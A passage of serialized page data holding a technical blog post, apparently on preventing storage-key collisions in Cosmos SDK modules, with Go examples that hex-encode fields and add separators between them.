\"1|a||b\"\n",[85198],{"type":24,"tag":32,"props":85199,"children":85200},{"__ignoreMap":7},[85201],{"type":29,"value":85196},{"type":24,"tag":25,"props":85203,"children":85204},{},[85205],{"type":29,"value":85206},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":24,"tag":73,"props":85208,"children":85210},{"code":85209,"language":75879,"meta":7,"className":75880,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[85211],{"type":24,"tag":32,"props":85212,"children":85213},{"__ignoreMap":7},[85214,85225,85240,85247,85254,85261,85282,85298,85336,85343,85380,85387,85407,85422,85458,85465,85500,85507,85534,85545,85556,85567,85579,85590,85598],{"type":24,"tag":83,"props":85215,"children":85216},{"class":85,"line":86},[85217,85221],{"type":24,"tag":83,"props":85218,"children":85219},{"style":90},[85220],{"type":29,"value":9401},{"type":24,"tag":83,"props":85222,"children":85223},{"style":107},[85224],{"type":29,"value":1337},{"type":24,"tag":83,"props":85226,"children":85227},{"class":85,"line":113},[85228,85232,85236],{"type":24,"tag":83,"props":85229,"children":85230},{"style":137},[85231],{"type":29,"value":85044},{"type":24,"tag":83,"props":85233,"children":85234},{"style":143},[85235],{"type":29,"value":146},{"type":24,"tag":83,"props":85237,"children":85238},{"style":187},[85239],{"type":29,"value":85053},{"type":24,"tag":83,"props":85241,"children":85242},{"class":85,"line":128},[85243],{"type":24,"tag":83,"props":85244,"children":85245},{"style":107},[85246],{"type":29,"value":2905},{"type":24,"tag":83,"props":85248,"children":85249},{"class":85,"line":183},[85250],{"type":24,"tag":83,"props":85251,"children":85252},{"emptyLinePlaceholder":16},[85253],{"type":29,"value":3422},{"type":24,"tag":83,"props":85255,"children":85256},{"class":85,"line":203},[85257],{"type":24,"tag":83,"props":85258,"children":85259},{"emptyLinePlaceholder":16},[85260],{"type":29,"value":3422},{"type":24,"tag":83,"props":85262,"children":85263},{"class":85,"line":212},[85264,85269,85273,85278],{"type":24,"tag":83,"props":85265,"children":85266},{"style":137},[85267],{"type":29,"value":85268},"usernameEncoded",{"type":24,"tag":83,"props":85270,"children":85271},{"style":143},[85272],{"type":29,"value":76131},{"type":24,"tag":83,"props":85274,"children":85275},{"style":101},[85276],{"type":29,"value":85277}," make",{"type":24,"tag":83,"props":85279,"children":85280},{"style":107},[85281],{"type":29,"value":3208},{"type":24,"tag":83,"props":85283,"children":85284},{"class":85,"line":256},[85285,85290,85294],{"type":24,"tag":83,"props":85286,"children":85287},{"style":107},[85288],{"type":29,"value":85289},"    []",{"type":24,"tag":83,"props":85291,"children":85292},{"style":3163},[85293],{"type":29,"value":84478},{"type":24,"tag":83,"props":85295,"children":85296},{"style":107},[85297],{"type":29,"value":989},{"type":24,"tag":83,"props":85299,"children":85300},{"class":85,"line":270},[85301,85306,85310,85315,85319,85323,85327,85331],{"type":24,"tag":83,"props":85302,"children":85303},{"style":137},[85304],{"type":29,"value":85305},"    hex",{"type":24,"tag":83,"props":85307,"children":85308},{"style":107},[85309],{"type":29,"value":161},{"type":24,"tag":83,"props":85311,"children":85312},{"style":101},[85313],{"type":29,"value":85314},"EncodedLen",{"type":24,"tag":83,"props":85316,"children":85317},{"style":107},[85318],{"type":29,"value":558},{"type":24,"tag":83,"props":85320,"children":85321},{"style":101},[85322],{"type":29,"value":8885},{"type":24,"tag":83,"props":85324,"children":85325},{"style":107},[85326],{"type":29,"value":558},{"type":24,"tag":83,"props":85328,"children":85329},{"style":137},[85330],{"type":29,"value":85184},{"type":24,"tag":83,"props":85332,"children":85333},{"style":107},[85334],{"type":29,"value":85335},")),\n",{"type":24,"tag":83,"props":85337,"children":85338},{"class":85,"line":302},[85339],{"type":24,"tag":83,"props":85340,"children":85341},{"style":107},[85342],{"type":29,"value":2905},{"type":24,"tag":83,"props":85344,"children":85345},{"class":85,"line":324},[85346,85351,85355,85360,85364,85368,85372,85376],{"type":24,"tag":83,"props":85347,"children":85348},{"style":137},[85349],{"type":29,"value":85350},"hex",{"type":24,"tag":83,"props":85352,"children":85353},{"style":107},[85354],{"type":29,"value":161},{"type":24,"tag":83,"props":85356,"children":85357},{"style":101},[85358],{"type":29,"value":85359},"Encode",{"type":24,"tag":83,"props":85361,"children":85362},{"style":107},[85363],{"type":29,"value":558},{"type":24,"tag":83,"props":85365,"children":85366},{"style":137},[85367],{"type":29,"value":85268},{"type":24,"tag":83,"props":85369,"children":85370},{"style":107},[85371],{"type":29,"value":568},{"type":24,"tag":83,"props":85373,"children":85374},{"style":137},[85375],{"type":29,"value":85184},{"type":24,"tag":83,"props":85377,"children":85378},{"style":107},[85379],{"type":29,"value":2905},{"type":24,"tag":83,"props":85381,"children":85382},{"class":85,"line":345},[85383],{"type":24,"tag":83,"props":85384,"children":85385},{"emptyLinePlaceholder":16},[85386],{"type":29,"value":3422},{"type":24,"tag":83,"props":85388,"children":85389},{"class":85,"line":358},[85390,85395,85399,85403],{"type":24,"tag":83,"props":85391,"children":85392},{"style":137},[85393],{"type":29,"value":85394},"positionNameEncoded",{"type":24,"tag":83,"props":85396,"children":85397},{"style":143},[85398],{"type":29,"value":76131},{"type":24,"tag":83,"props":85400,"children":85401},{"style":101},[85402],{"type":29,"value":85277},{"type":24,"tag":83,"props":85404,"children":85405},{"style":107},[85406],{"type":29,"value":3208},{"type":24,"tag":83,"props":85408,"children":85409},{"class":85,"line":367},[85410,85414,85418],{"type":24,"tag":83,"props":85411,"children":85412},{"style":107},[85413],{"type":29,"value":85289},{"type":24,"tag":83,"props":85415,"children":85416},{"style":3163},[85417],{"type":29,"value":84478},{"type":24,"tag":83,"props":85419,"children":85420},{"style":107},[85421],{"type":29,"value":989},{"type":24,"tag":83,"props":85423,"children":85424},{"class":85,"line":406},[85425,85429,85433,85437,85441,85445,85449,85454],{"type":24,"tag":83,"props":85426,"children":85427},{"style":137},[85428],{"type":29,"value":85305},{"type":24,"tag":83,"props":85430,"children":85431},{"style":107},[85432],{"type":29,"value":161},{"type":24,"tag":83,"props":85434,"children":85435},{"style":101},[85436],{"type":29,"value":85314},{"type":24,"tag":83,"props":85438,"children":85439},{"style":107},[85440],{"type":29,"value":558},{"type":24,"tag":83,"props":85442,"children":85443},{"style":101},[85444],{"type":29,"value":8885},{"type":24,"tag":83,"props":85446,"children":85447},{"style":107},[85448],{"type":29,"value":558},{"type":24,"tag":83,"props":85450,"children":85451},{"style":137},[85452],{"type":29,"value":85453},"positionName",{"type":24,"tag":83,"props":85455,"children":85456},{"style":107},[85457],{"type":29,"value":85335},{"type":24,"tag":83,"props":85459,"children":85460},{"class":85,"line":427},[85461],{"type":24,"tag":83,"props":85462,"children":85463},{"style":107},[85464],{"type":29,"value":2905},{"type":24,"tag":83,"props":85466,"children":85467},{"class":85,"line":440},[85468,85472,85476,85480,85484,85488,85492,85496],{"type":24,"tag":83,"props":85469,"children":85470},{"style":137},[85471],{"type":29,"value":85350},{"type":24,"tag":83,"props":85473,"children":85474},{"style":107},[85475],{"type":29,"value":161},{"type":24,"tag":83,"props":85477,"children":85478},{"style":101},[85479],{"type":29,"value":85359},{"type":24,"tag":83,"props":85481,"children":85482},{"style":107},[85483],{"type":29,"value":558},{"type":24,"tag":83,"props":85485,"children":85486},{"style":137},[85487],{"type":29,"value":85394},{"type":24,"tag":83,"props":85489,"children":85490},{"style":107},[85491],{"type":29,"value":568},{"type":24,"tag":83,"props":85493,"children":85494},{"style":137},[85495],{"type":29,"value":85453},{"type":24,"tag":83,"props":85497,"children":85498},{"style":107},[85499],{"type":29,"value":2905},{"type":24,"tag":83,"props":85501,"children":85502},{"class":85,"line":449},[85503],{"type":24,"tag":83,"props":85504,"children":85505},{"emptyLinePlaceholder":16},[85506],{"type":29,"value":3422},{"type":24,"tag":83,"props":85508,"children":85509},{"class":85,"line":458},[85510,85514,85518,85522,85526,85530],{"type":24,"tag":83,"props":85511,"children":85512},{"style":137},[85513],{"type":29,"value":84919},{"type":24,"tag":83,"props":85515,"children":85516},{"style":143},[85517],{"type":29,"value":76131},{"type":24,"tag":83,"props":85519,"children":85520},{"style":137},[85521],{"type":29,"value":81948},{"type":24,"tag":83,"props":85523,"children":85524},{"style":107},[85525],{"type":29,"value":161},{"type":24,"tag":83,"props":85527,"children":85528},{"style":101},[85529],{"type":29,"value":84936},{"type":24,"tag":83,"props":85531,"children":85532},{"style":107},[85533],{"type":29,"value":3208},{"type":24,"tag":83,"props":85535,"children":85536},{"class":85,"line":1065},[85537,85541],{"type":24,"tag":83,"props":85538,"children":85539},{"style":187},[85540],{"type":29,"value":85102},{"type":24,"tag":83,"props":85542,"children":85543},{"style":107},[85544],{"type":29,"value":989},{"type":24,"tag":83,"props":85546,"children":85547},{"class":85,"line":1668},[85548,85552],{"type":24,"tag":83,"props":85549,"children":85550},{"style":137},[85551],{"type":29,"value":84960},{"type":24,"tag":83,"props":85553,"children":85554},{"style":107},[85555],{"type":29,"value":989},{"type":24,"tag":83,"props":85557,"children":85558},{"class":85,"line":1713},[85559,85563],{"type":24,"tag":83,"props":85560,"children":85561},{"style":137},[85562],{"type":29,"value":85044},{"type":24,"tag":83,"props":85564,"children":85565},{"style":107},[85566],{"type":29,"value":989},{"type":24,"tag":83,"props":85568,"children":85569},{"class":85,"line":1730},[85570,85575],{"type":24,"tag":83,"props":85571,"children":85572},{"style":137},[85573],{"type":29,"value":85574},"    usernameEncoded",{"type":24,"tag":83,"props":85576,"children":85577},{"style":107},[85578],{"type":29,"value":989},{"type":24,"tag":83,"props":85580,"children":85581},{"class":85,"line":1770},[85582,85586],{"type":24,"tag":83,"props":85583,"children":85584},{"style":137},[85585],{"type":29,"value":85044},{"type":24,"tag":83,"props":85587,"children":85588},{"style":107},[85589],{"type":29,"value":989},{"type":24,"tag":83,"props":85591,"children":85592},{"class":85,"line":1778},[85593],{"type":24,"tag":83,"props":85594,"children":85595},{"style":137},[85596],{"type":29,"value":85597},"    positionNameEncoded\n",{"type":24,"tag":83,"props":85599,"children":85600},{"class":85,"line":1803},[85601],{"type":24,"tag":83,"props":85602,"children":85603},{"style":107},[85604],{"type":29,"value":2905},{"type":24,"tag":25,"props":85606,"children":85607},{},[85608,85610,85615],{"type":29,"value":85609},"We did it. We finally eliminated all potential ",{"type":24,"tag":32,"props":85611,"children":85613},{"className":85612},[],[85614],{"type":29,"value":84919},{"type":29,"value":85616}," collisions.",{"type":24,"tag":25,"props":85618,"children":85619},{},[85620],{"type":29,"value":85621},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":24,"tag":25,"props":85623,"children":85624},{},[85625,85627,85633,85635,85640,85642,85647,85649,85654,85656,85662],{"type":29,"value":85626},"In the Cosmos framework, it is common for each ",{"type":24,"tag":32,"props":85628,"children":85630},{"className":85629},[],[85631],{"type":29,"value":85632},"Module",{"type":29,"value":85634}," to own a few ",{"type":24,"tag":32,"props":85636,"children":85638},{"className":85637},[],[85639],{"type":29,"value":84690},{"type":29,"value":85641}," and have individual ",{"type":24,"tag":32,"props":85643,"children":85645},{"className":85644},[],[85646],{"type":29,"value":79659},{"type":29,"value":85648},"s managing access to storages. It's also important to note that each ",{"type":24,"tag":32,"props":85650,"children":85652},{"className":85651},[],[85653],{"type":29,"value":84690},{"type":29,"value":85655}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":24,"tag":32,"props":85657,"children":85659},{"className":85658},[],[85660],{"type":29,"value":85661},"Modules",{"type":29,"value":161},{"type":24,"tag":25,"props":85664,"children":85665},{},[85666,85668,85673],{"type":29,"value":85667},"With that being said, what if we have to maintain more than one structure within the same ",{"type":24,"tag":32,"props":85669,"children":85671},{"className":85670},[],[85672],{"type":29,"value":84690},{"type":29,"value":2900},{"type":24,"tag":25,"props":85675,"children":85676},{},[85677,85679,85685,85687,85692],{"type":29,"value":85678},"To demonstrate this scenario, we introduce the ",{"type":24,"tag":32,"props":85680,"children":85682},{"className":85681},[],[85683],{"type":29,"value":85684},"NameToAddressMap",{"type":29,"value":85686}," structure, which will be stored in the same ",{"type":24,"tag":32,"props":85688,"children":85690},{"className":85689},[],[85691],{"type":29,"value":84690},{"type":29,"value":85693}," we previously used.",{"type":24,"tag":73,"props":85695,"children":85697},{"code":85696,"language":75879,"meta":7,"className":75880,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[85698],{"type":24,"tag":32,"props":85699,"children":85700},{"__ignoreMap":7},[85701,85716,85731,85738,85753,85772,85787,85794,85809,85864,85871,85887,85907,85922,85929,85945],{"type":24,"tag":83,"props":85702,"children":85703},{"class":85,"line":86},[85704,85708,85712],{"type":24,"tag":83,"props":85705,"children":85706},{"style":90},[85707],{"type":29,"value":32495},{"type":24,"tag":83,"props":85709,"children":85710},{"style":3163},[85711],{"type":29,"value":84736},{"type":24,"tag":83,"props":85713,"children":85714},{"style":3163},[85715],{"type":29,"value":75917},{"type":24,"tag":83,"props":85717,"children":85718},{"class":85,"line":113},[85719,85723,85727],{"type":24,"tag":83,"props":85720,"children":85721},{"style":90},[85722],{"type":29,"value":32495},{"type":24,"tag":83,"props":85724,"children":85725},{"style":3163},[85726],{"type":29,"value":84752},{"type":24,"tag":83,"props":85728,"children":85729},{"style":3163},[85730],{"type":29,"value":84757},{"type":24,"tag":83,"props":85732,"children":85733},{"class":85,"line":128},[85734],{"type":24,"tag":83,"props":85735,"children":85736},{"emptyLinePlaceholder":16},[85737],{"type":29,"value":3422},{"type":24,"tag":83,"props":85739,"children":85740},{"class":85,"line":183},[85741,85745,85749],{"type":24,"tag":83,"props":85742,"children":85743},{"style":90},[85744],{"type":29,"value":32495},{"type":24,"tag":83,"props":85746,"children":85747},{"style":3163},[85748],{"type":29,"value":84769},{"type":24,"tag":83,"props":85750,"children":85751},{"style":3163},[85752],{"type":29,"value":84757},{"type":24,"tag":83,"props":85754,"children":85755},{"class":85,"line":203},[85756,85760,85764,85768],{"type":24,"tag":83,"props":85757,"children":85758},{"style":90},[85759],{"type":29,"value":32495},{"type":24,"tag":83,"props":85761,"children":85762},{"style":3163},[85763],{"type":29,"value":7172},{"type":24,"tag":83,"props":85765,"children":85766},{"style":90},[85767],{"type":29,"value":20891},{"type":24,"tag":83,"props":85769,"children":85770},{"style":107},[85771],{"type":29,"value":125},{"type":24,"tag":83,"props":85773,"children":85774},{"class":85,"line":212},[85775,85779,85783],{"type":24,"tag":83,"props":85776,"children":85777},{"style":137},[85778],{"type":29,"value":712},{"type":24,"tag":83,"props":85780,"children":85781},{"style":107},[85782],{"type":29,"value":75942},{"type":24,"tag":83,"props":85784,"children":85785},{"style":3163},[85786],{"type":29,"value":83941},{"type":24,"tag":83,"props":85788,"children":85789},{"class":85,"line":256},[85790],{"type":24,"tag":83,"props":85791,"children":85792},{"style":107},[85793],{"type":29,"value":464},{"type":24,"tag":83,"props":85795,"children":85796},{"class":85,"line":270},[85797,85801,85805],{"type":24,"tag":83,"props":85798,"children":85799},{"style":90},[85800],{"type":29,"value":32495},{"type":24,"tag":83,"props":85802,"children":85803},{"style":3163},[85804],{"type":29,"value":84826},{"type":24,"tag":83,"props":85806,"children":85807},{"style":143},[85808],{"type":29,"value":84831},{"type":24,"tag":83,"props":85810,"children":85811},{"class":85,"line":302},[85812,85816,85820,85824,85828,85832,85836,85840,85844,85848,85852,85856,85860],{"type":24,"tag":83,"props":85813,"children":85814},{"style":90},[85815],{"type":29,"value":84839},{"type":24,"tag":83,"props":85817,"children":85818},{"style":107},[85819],{"type":29,"value":1161},{"type":24,"tag":83,"props":85821,"children":85822},{"style":3163},[85823],{"type":29,"value":84848},{"type":24,"tag":83,"props":85825,"children":85826},{"style":107},[85827],{"type":29,"value":15151},{"type":24,"tag":83,"props":85829,"children":85830},{"style":90},[85831],{"type":29,"value":66817},{"type":24,"tag":83,"props":85833,"children":85834},{"style":107},[85835],{"type":29,"value":1161},{"type":24,"tag":83,"props":85837,"children":85838},{"style":3163},[85839],{"type":29,"value":84865},{"type":24,"tag":83,"props":85841,"children":85842},{"style":107},[85843],{"type":29,"value":15151},{"type":24,"tag":83,"props":85845,"children":85846},{"style":90},[85847],{"type":29,"value":66817},{"type":24,"tag":83,"props":85849,"children":85850},{"style":107},[85851],{"type":29,"value":1161},{"type":24,"tag":83,"props":85853,"children":85854},{"style":3163},[85855],{"type":29,"value":84882},{"type":24,"tag":83,"props":85857,"children":85858},{"style":107},[85859],{"type":29,"value":15151},{"type":24,"tag":83,"props":85861,"children":85862},{"style":3163},[85863],{"type":29,"value":84891},{"type":24,"tag":83,"props":85865,"children":85866},{"class":85,"line":324},[85867],{"type":24,"tag":83,"props":85868,"children":85869},{"emptyLinePlaceholder":16},[85870],{"type":29,"value":3422},{"type":24,"tag":83,"props":85872,"children":85873},{"class":85,"line":345},[85874,85878,85883],{"type":24,"tag":83,"props":85875,"children":85876},{"style":90},[85877],{"type":29,"value":32495},{"type":24,"tag":83,"props":85879,"children":85880},{"style":3163},[85881],{"type":29,"value":85882}," AddressName",{"type":24,"tag":83,"props":85884,"children":85885},{"style":3163},[85886],{"type":29,"value":84757},{"type":24,"tag":83,"props":85888,"children":85889},{"class":85,"line":358},[85890,85894,85899,85903],{"type":24,"tag":83,"props":85891,"children":85892},{"style":90},[85893],{"type":29,"value":32495},{"type":24,"tag":83,"props":85895,"children":85896},{"style":3163},[85897],{"type":29,"value":85898}," Address",{"type":24,"tag":83,"props":85900,"children":85901},{"style":90},[85902],{"type":29,"value":20891},{"type":24,"tag":83,"props":85904,"children":85905},{"style":107},[85906],{"type":29,"value":125},{"type":24,"tag":83,"props":85908,"children":85909},{"class":85,"line":367},[85910,85914,85918],{"type":24,"tag":83,"props":85911,"children":85912},{"style":137},[85913],{"type":29,"value":660},{"type":24,"tag":83,"props":85915,"children":85916},{"style":107},[85917],{"type":29,"value":75942},{"type":24,"tag":83,"props":85919,"children":85920},{"style":3163},[85921],{"type":29,"value":83941},{"type":24,"tag":83,"props":85923,"children":85924},{"class":85,"line":406},[85925],{"type":24,"tag":83,"props":85926,"children":85927},{"style":107},[85928],{"type":29,"value":464},{"type":24,"tag":83,"props":85930,"children":85931},{"class":85,"line":427},[85932,85936,85941],{"type":24,"tag":83,"props":85933,"children":85934},{"style":90},[85935],{"type":29,"value":32495},{"type":24,"tag":83,"props":85937,"children":85938},{"style":3163},[85939],{"type":29,"value":85940}," AddressMap",{"type":24,"tag":83,"props":85942,"children":85943},{"style":143},[85944],{"type":29,"value":84831},{"type":24,"tag":83,"props":85946,"children":85947},{"class":85,"line":440},[85948,85952,85956,85960,85964,85968,85972,85976,85980,85984,85988,85993,85997],{"type":24,"tag":83,"props":85949,"children":85950},{"style":90},[85951],{"type":29,"value":84839},{"type":24,"tag":83,"props":85953,"children":85954},{"style":107},[85955],{"type":29,"value":1161},{"type":24,"tag":83,"props":85957,"children":85958},{"style":3163},[85959],{"type":29,"value":84848},{"type":24,"tag":83,"props":85961,"children":85962},{"style":107},[85963],{"type":29,"value":15151},{"type":24,"tag":83,"props":85965,"children":85966},{"style":90},[85967],{"type":29,"value":66817},{"type":24,"tag":83,"props":85969,"children":85970},{"style":107},[85971],{"type":29,"value":1161},{"type":24,"tag":83,"props":85973,"children":85974},{"style":3163},[85975],{"type":29,"value":84865},{"type":24,"tag":83,"props":85977,"children":85978},{"style":107},[85979],{"type":29,"value":15151},{"type":24,"tag":83,"props":85981,"children":85982},{"style":90},[85983],{"type":29,"value":66817},{"type":24,"tag":83,"props":85985,"children":85986},{"style":107},[85987],{"type":29,"value":1161},{"type":24,"tag":83,"props":85989,"children":85990},{"style":3163},[85991],{"type":29,"value":85992},"AddressName",{"type":24,"tag":83,"props":85994,"children":85995},{"style":107},[85996],{"type":29,"value":15151},{"type":24,"tag":83,"props":85998,"children":85999},{"style":3163},[86000],{"type":29,"value":86001},"Address\n",{"type":24,"tag":25,"props":86003,"children":86004},{},[86005],{"type":29,"value":86006},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":24,"tag":73,"props":86008,"children":86010},{"code":86009,"language":75879,"meta":7,"className":75880,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[86011],{"type":24,"tag":32,"props":86012,"children":86013},{"__ignoreMap":7},[86014,86025,86040,86047,86054,86061,86077,86092,86119,86142,86161,86177,86213,86220,86255,86262,86282,86297,86332,86339,86374,86381,86409,86421,86433,86445,86457,86468,86480,86487,86494,86501,86508,86524,86539,86563,86586,86605,86620,86655,86662,86697,86704,86724,86739,86774,86781,86817,86824,86851,86862,86873,86884,86895,86906,86918,86925],{"type":24,"tag":83,"props":86015,"children":86016},{"class":85,"line":86},[86017,86021],{"type":24,"tag":83,"props":86018,"children":86019},{"style":90},[86020],{"type":29,"value":9401},{"type":24,"tag":83,"props":86022,"children":86023},{"style":107},[86024],{"type":29,"value":1337},{"type":24,"tag":83,"props":86026,"children":86027},{"class":85,"line":113},[86028,86032,86036],{"type":24,"tag":83,"props":86029,"children":86030},{"style":137},[86031],{"type":29,"value":85044},{"type":24,"tag":83,"props":86033,"children":86034},{"style":143},[86035],{"type":29,"value":146},{"type":24,"tag":83,"props":86037,"children":86038},{"style":187},[86039],{"type":29,"value":85053},{"type":24,"tag":83,"props":86041,"children":86042},{"class":85,"line":128},[86043],{"type":24,"tag":83,"props":86044,"children":86045},{"style":107},[86046],{"type":29,"value":2905},{"type":24,"tag":83,"props":86048,"children":86049},{"class":85,"line":183},[86050],{"type":24,"tag":83,"props":86051,"children":86052},{"emptyLinePlaceholder":16},[86053],{"type":29,"value":3422},{"type":24,"tag":83,"props":86055,"children":86056},{"class":85,"line":203},[86057],{"type":24,"tag":83,"props":86058,"children":86059},{"emptyLinePlaceholder":16},[86060],{"type":29,"value":3422},{"type":24,"tag":83,"props":86062,"children":86063},{"class":85,"line":212},[86064,86068,86073],{"type":24,"tag":83,"props":86065,"children":86066},{"style":90},[86067],{"type":29,"value":76015},{"type":24,"tag":83,"props":86069,"children":86070},{"style":101},[86071],{"type":29,"value":86072}," PositionMapKey",{"type":24,"tag":83,"props":86074,"children":86075},{"style":107},[86076],{"type":29,"value":3208},{"type":24,"tag":83,"props":86078,"children":86079},{"class":85,"line":256},[86080,86084,86088],{"type":24,"tag":83,"props":86081,"children":86082},{"style":137},[86083],{"type":29,"value":84960},{"type":24,"tag":83,"props":86085,"children":86086},{"style":3163},[86087],{"type":29,"value":76136},{"type":24,"tag":83,"props":86089,"children":86090},{"style":107},[86091],{"type":29,"value":989},{"type":24,"tag":83,"props":86093,"children":86094},{"class":85,"line":270},[86095,86099,86103,86107,86111,86115],{"type":24,"tag":83,"props":86096,"children":86097},{"style":137},[86098],{"type":29,"value":84972},{"type":24,"tag":83,"props":86100,"children":86101},{"style":107},[86102],{"type":29,"value":568},{"type":24,"tag":83,"props":86104,"children":86105},{"style":137},[86106],{"type":29,"value":85453},{"type":24,"tag":83,"props":86108,"children":86109},{"style":107},[86110],{"type":29,"value":75942},{"type":24,"tag":83,"props":86112,"children":86113},{"style":3163},[86114],{"type":29,"value":84478},{"type":24,"tag":83,"props":86116,"children":86117},{"style":107},[86118],{"type":29,"value":989},{"type":24,"tag":83,"props":86120,"children":86121},{"class":85,"line":302},[86122,86126,86130,86134,86138],{"type":24,"tag":83,"props":86123,"children":86124},{"style":107},[86125],{"type":29,"value":76097},{"type":24,"tag":83,"props":86127,"children":86128},{"style":137},[86129],{"type":29,"value":71871},{"type":24,"tag":83,"props":86131,"children":86132},{"style":107},[86133],{"type":29,"value":75942},{"type":24,"tag":83,"props":86135,"children":86136},{"style":3163},[86137],{"type":29,"value":84478},{"type":24,"tag":83,"props":86139,"children":86140},{"style":107},[86141],{"type":29,"value":253},{"type":24,"tag":83,"props":86143,"children":86144},{"class":85,"line":324},[86145,86149,86153,86157],{"type":24,"tag":83,"props":86146,"children":86147},{"style":137},[86148],{"type":29,"value":85574},{"type":24,"tag":83,"props":86150,"children":86151},{"style":143},[86152],{"type":29,"value":76131},{"type":24,"tag":83,"props":86154,"children":86155},{"style":101},[86156],{"type":29,"value":85277},{"type":24,"tag":83,"props":86158,"children":86159},{"style":107},[86160],{"type":29,"value":3208},{"type":24,"tag":83,"props":86162,"children":86163},{"class":85,"line":345},[86164,86169,86173],{"type":24,"tag":83,"props":86165,"children":86166},{"style":107},[86167],{"type":29,"value":86168},"        []",{"type":24,"tag":83,"props":86170,"children":86171},{"style":3163},[86172],{"type":29,"value":84478},{"type":24,"tag":83,"props":86174,"children":86175},{"style":107},[86176],{"type":29,"value":989},{"type":24,"tag":83,"props":86178,"children":86179},{"class":85,"line":358},[86180,86185,86189,86193,86197,86201,86205,86209],{"type":24,"tag":83,"props":86181,"children":86182},{"style":137},[86183],{"type":29,"value":86184},"        hex",{"type":24,"tag":83,"props":86186,"children":86187},{"style":107},[86188],{"type":29,"value":161},{"type":24,"tag":83,"props":86190,"children":86191},{"style":101},[86192],{"type":29,"value":85314},{"type":24,"tag":83,"props":86194,"children":86195},{"style":107},[86196],{"type":29,"value":558},{"type":24,"tag":83,"props":86198,"children":86199},{"style":101},[86200],{"type":29,"value":8885},{"type":24,"tag":83,"props":86202,"children":86203},{"style":107},[86204],{"type":29,"value":558},{"type":24,"tag":83,"props":86206,"children":86207},{"style":137},[86208],{"type":29,"value":85184},{"type":24,"tag":83,"props":86210,"children":86211},{"style":107},[86212],{"type":29,"value":85335},{"type":24,"tag":83,"props":86214,"children":86215},{"class":85,"line":367},[86216],{"type":24,"tag":83,"props":86217,"children":86218},{"style":107},[86219],{"type":29,"value":23669},{"type":24,"tag":83,"props":86221,"children":86222},{"class":85,"line":406},[86223,86227,86231,86235,86239,86243,86247,86251],{"type":24,"tag":83,"props":86224,"children":86225},{"style":137},[86226],{"type":29,"value":85305},{"type":24,"tag":83,"props":86228,"children":86229},{"style":107},[86230],{"type":29,"value":161},{"type":24,"tag":83,"props":86232,"children":86233},{"style":101},[86234],{"type":29,"value":85359},{"type":24,"tag":83,"props":86236,"children":86237},{"style":107},[86238],{"type":29,"value":558},{"type":24,"tag":83,"props":86240,"children":86241},{"style":137},[86242],{"type":29,"value":85268},{"type":24,"tag":83,"props":86244,"children":86245},{"style":107},[86246],{"type":29,"value":568},{"type":24,"tag":83,"props":86248,"children":86249},{"style":137},[86250],{"type":29,"value":85184},{"type":24,"tag":83,"props":86252,"children":86253},{"style":107},[86254],{"type":29,"value":2905},{"type":24,"tag":83,"props":86256,"children":86257},{"class":85,"line":427},[86258],{"type":24,"tag":83,"props":86259,"children":86260},{"emptyLinePlaceholder":16},[86261],{"type":29,"value":3422},{"type":24,"tag":83,"props":86263,"children":86264},{"class":85,"line":440},[86265,86270,86274,86278],{"type":24,"tag":83,"props":86266,"children":86267},{"style":137},[86268],{"type":29,"value":86269},"    positionNameEncoded",{"type":24,"tag":83,"props":86271,"children":86272},{"style":143},[86273],{"type":29,"value":76131},{"type":24,"tag":83,"props":86275,"children":86276},{"style":101},[86277],{"type":29,"value":85277},{"type":24,"tag":83,"props":86279,"children":86280},{"style":107},[86281],{"type":29,"value":3208},{"type":24,"tag":83,"props":86283,"children":86284},{"class":85,"line":449},[86285,86289,86293],{"type":24,"tag":83,"props":86286,"children":86287},{"style":107},[86288],{"type":29,"value":86168},{"type":24,"tag":83,"props":86290,"children":86291},{"style":3163},[86292],{"type":29,"value":84478},{"type":24,"tag":83,"props":86294,"children":86295},{"style":107},[86296],{"type":29,"value":989},{"type":24,"tag":83,"props":86298,"children":86299},{"class":85,"line":458},[86300,86304,86308,86312,86316,86320,86324,86328],{"type":24,"tag":83,"props":86301,"children":86302},{"style":137},[86303],{"type":29,"value":86184},{"type":24,"tag":83,"props":86305,"children":86306},{"style":107},[86307],{"type":29,"value":161},{"type":24,"tag":83,"props":86309,"children":86310},{"style":101},[86311],{"type":29,"value":85314},{"type":24,"tag":83,"props":86313,"children":86314},{"style":107},[86315],{"type":29,"value":558},{"type":24,"tag":83,"props":86317,"children":86318},{"style":101},[86319],{"type":29,"value":8885